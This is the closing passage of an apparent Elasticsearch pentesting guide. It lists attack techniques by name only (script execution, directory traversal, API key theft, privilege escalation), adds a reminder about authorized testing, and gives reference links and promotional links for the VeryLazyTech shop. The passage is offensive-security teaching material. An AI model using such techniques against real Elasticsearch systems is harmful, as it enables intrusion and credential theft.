* Script execution (older versions)
* Directory traversal
* API key theft
* Privilege escalation

Remember to only perform these techniques during authorized security assessments. Unauthorized access is illegal and unethical.

### Additional Resources

* [Elasticsearch Documentation](https://www.elastic.co/guide/en/elasticsearch/reference/current/index.html)
* [Elasticsearch Security](https://www.elastic.co/guide/en/elasticsearch/reference/current/security-settings.html)
* [Securing Elasticsearch](https://www.elastic.co/blog/found-elasticsearch-security)
* [HackTricks Elasticsearch](https://book.hacktricks.wiki/en/network-services-pentesting/9200-pentesting-elasticsearch.html)

{% hint style="success" %}
Learn & practice [**For the Bug Bounty**](https://shop.verylazytech.com/)

<details>

<summary>Support VeryLazyTech 🎉</summary>

* Become VeryLazyTech [**member**](https://shop.verylazytech.com/)**! 🎁**
* **Follow** us on:
  * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
  * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
  * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
  * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
  * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
  * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses.  📚

</details>
{% endhint %}
